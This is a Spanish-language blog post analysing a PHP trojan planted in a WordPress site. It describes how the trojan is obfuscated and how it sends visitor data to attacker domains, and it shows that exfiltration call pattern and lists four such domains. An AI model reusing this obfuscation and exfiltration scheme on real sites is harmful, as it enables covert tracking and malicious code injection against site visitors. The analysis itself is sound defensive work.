Como funciona TrojanHorse.php – análisis de intrusión – código explicado
Tiempo total: 0 días con 2:25:42 hrs
El entorno de la intrusión es la siguiente: te dan un usuario y contraseña, tanto FTP como de la base de datos Mysql; En el servidor Php, instalas WordPress y seleccionas la plantilla que creaste desde cero. De pronto, un día cualquiera, te das cuenta que han logrado entrar y editar los archivos de la instalación, el código que han agregado es extraño y no se puede entender.
Nota importante: los archivos Php de la instalación de WordPress infectada, con un 90% de probabilidades pueden tener código malicioso oculto con el objetivo de atacar el sistema operativo y/o el editor de texto utilizado por la persona que lo lea. La mejor manera de analizar este tipo de código, es con herramientas especializadas que no ejecuten ningún tipo de código.
Error interno 500
Según me comentaron los administradores de los servidores, Php ha sido limitado y las instrucciones que puede ejecutar son mínimas, ellos recomendaron deshabilitar los comentarios de las plantillas de WordPress, una de las puertas de entradas para hacer inyecciones de código y alterar archivos.
Cuando intente iniciar sesión en el administrador de WordPress, encontré el error interno 500; empecé a buscar que era lo que estaba pasando, y en todos los archivos encontré código extraño.
Github
En esta publicación hago referencia a los archivos que he subido en Github:
https://gist.github.com/josedalvik/f05d4ca624376c2a96df
Código extraño
En el archivo:
[Intrusión codificada – código extraño]TrojanHorse.php
Se puede observar que en una línea completa, esta todo el código. Las instrucciones no se entienden, deben de ser trabajadas de primero. Al separar en líneas las instrucciones, se observa que de la primer variable $mndbple se obtiene un array, este array tiene instrucciones que están al revés, estas instrucciones son create_function y str_replace.
Una de mis grandes sorpresas, es Php: cómo es posible que ese compilador pueda ser capaz de ejecutar instrucciones que están en variables? Esas instrucciones pueden estar en hexadecimal, en binario, en octal; pueden estar en todo, y todo lo va a ejecutar.
En el código extraño también se puede observar el array $nahtzk, que es un vector de posiciones substr($mndbple, i*2, i*2+1); con esto te das cuenta que los creadores del script hicieron lo necesario para esconder sus intenciones.
Los antivirus como es común, alertan al usuario de la existencia del script y mostraran mensajes como: eliminar, mover a cuarentena, sin acción, enviar a los laboratorios para su análisis – pero nunca observaras: “ver código fuente” que es a lo que yo llamo “mantener el monopolio del conocimiento”.
Por ejemplo, supongamos que una persona del mismo país crea o edita un script para robar información a la misma empresa en donde trabajas, si una persona ejecuta un virus observara la amenaza y posiblemente seleccionara “eliminar” o simplemente “ignorar”; si el mensaje aparece y aparece no solo en su máquina sino que en varias, los de TI deberán de enviarlo para su análisis a la empresa de antivirus, esto lo que hace es mantener la ignorancia sobre la realidad de los ataques (porque ellos son los que lo deben de hacer).
Php, debido a el tamaño de las cadenas de texto, no te podrá imprimir en pantalla toda la información de los ciclos en el código; para no perder partes de código, y para no ver un resultado que no sea hexadecimal u octal, es necesario que el código que se declara en las funciones create_function deben de guardarse en un archivo de texto. Para hacer esto, si no se está seguro de saber cómo es que Php funciona, puedes hacerlo en una maquina virtual sin conexión a internet.
Ayuda extra
Ahora que sabes cómo decodificar las instrucciones extrañas, se debe de hacer uso de las siguientes páginas para poder entender que significan las instrucciones en hexadecimal u octal:
http://ddecode.com/hexdecoder/
http://phptester.net/
https://www.unphp.net/
Código fuente de TrojanHorse.php?
Antes de que Php llegue a ejecutar su código fuente, en este caso, el atacante escribió una instrucción para que se ejecute únicamente si el servidor tiene definida la función ob_start, también hay una condición que hace que el código se ejecute una sola vez $GLOBALS[‘anuna’]=1.
Ok, ahora que haz decodificado a TrojanHorse.php, puedes ver su código fuente (para mi, ver su código y no saber que hace, fue una total inquietud):
[Código original]TrojanHorse.php
Imagen del código de la intrusión WordPress
Entendiendo TrojanHorse.php (es entender la realidad)
Que es lo que hace? cuando se decodifica, se llega al punto de inicio original, sin alteraciones; en este punto, TrojanHorse.php utilizara las funciones oo1 y oo2 para decodificar por si mismo todas las funciones que tiene, así que las primeras instrucciones que se ejecutan son las de las líneas 46 a 64.
En ese rango de filas, podrás observar la variable $v9, que contiene todas las funciones codificadas.
Ok, ahora por favor lee el código fuente explicado en:
[Código explicado]TrojanHorse.php
Lo que hace, es obtener los siguientes datos del usuario que visita la página:
$a=$_SERVER(“HTTP_USER_AGENT”);
$b=$_SERVER(“HTTP_REFERER”);
$c=$_SERVER(“REMOTE_ADDR”);
$d=$_SERVER(“HTTP_HOST”);
$e=$_SERVER(“PHP_SELF”);
Omite todo, si el que visita la página es un boot (como google bot), si es una página de administrador o si el usuario final no tiene IP. Esa información, la envía a la función en2 asignándole un número aleatorio (que funciona como una llave), el resultado de esta función es inentendible a simple vista.
Por último, envía las variables de la forma http://dominio_atacante.com?numero_aleatorio=base64_encode(en2($variables));
Este dominio, responde con código que es colocado después de las etiquetas <body> y <html>.
Pregunta: es posible que el domino atacante pueda responder con instrucciones Php que puedan ser ejecutadas en nuestro servidor?
Teorías
Este código, más lo creo un ataque de un boot, que lo único que quiere es obtener metadatos para fortalecer su buscador; son los mismos que, algunas veces, cuando instalas un programa descargado de la web, sin que nosotros lo confirmemos, el instalador nos agrega una URL de inicio en todos los navegadores y también empezamos a ver sus publicidad en Google.com.
Otro caso, es que en algunos países, las empresas de publicidad pagan 1 USD por cada clic en sus anuncios, también 8 o 9 euros si el cliente llena un formulario. Esa es razón suficiente para que el dominio web atacante responda con código javascript que sea capaz de alterar la pagina que es atacada, de esta manera las personas al hacer clic en cualquier parte de la página web, serán redireccionados a otros sitios con publicidad (bueno, aquí en Guatemala esas empresas de publicidad pagan 1E-10 USD por cada clic).
La tercera teoría, es que la respuesta es utilizada para cargar código malicioso en la computadora del usuario que visita nuestra página web. Esto, se fundamenta en que, el código no se ejecuta si el usuario final no utiliza Internet Explorer y si la página del cliente es del área administrativa.
La función en2
Una de las preguntas que me realice conforme entendía el código, es: cómo es que la función en2 puede responder con definiciones de variables a partir de la cadena de texto aleatoria “str_replace” y el texto en octal ?kgwLXze2:Wn@l.?jA{S’?
A simple vista, en2 solo responde de caracteres aleatorios, porque? porque utiliza la función md5. Pero eso no es cierto, porque en2 sirve también para declarar variables y obtener los cuatro nombres de dominio atacantes.
Después de investigar su funcionamiento, entendí que lo que hace es recibir una cadena aleatoria (puede ser un numero o texto), la cual la trabaja todavía más y el resultado, lo opera con el texto extraño en octal utilizando XOR.
De esto, se asumen que se puede obtener una función en la que se envíen la cadena aleatoria y el resultado final, a partir de esto, se responderá con el código octal necesario para que en2 responda lo solicitado (ver la función en2_variable() en la línea 175).
Dominios web de la intrusión
http://33db9538.com (utilizado por el script)
http://9507c4e8.com (utilizado por el script)
http://e5b57288.com
http://54dfa1cb.com
Como se obtienen los cuatro nombres de dominios anteriores
El array de nombres de dominio no se debe de definir en ninguna parte del código (el atacante no implemento correctamente a TrojanHorse.php). Lo que se debe de hacer, es seleccionar un dominio web aleatorio, obtener su IP y anteponerle “.com”. Ahora, el resultado de md5 se divide en cuatro.
A los primeros dos resultados se les agrega .com y se registran. Esos nombres de dominio son los que sirven al atacante para obtener los metadatos de sus víctimas y responder con el código malicioso. Bueno, eso fue lo que entendí.
A partir de lo anterior, es necesario recordar la siguiente línea:
Harvey: [to Batman, who has remained silent, simply watching the entire exchange] We need Lau back. But the Chinese won’t extradite a national under any circumstances.
Conclusión
Porque entender código es conocimiento, el software debe ser libre.
Por aparte, el compilador de Php hace de todo, sin preguntar, sin el consentimiento de nadie; Php es como un niño que hace las cosas sin entender porque.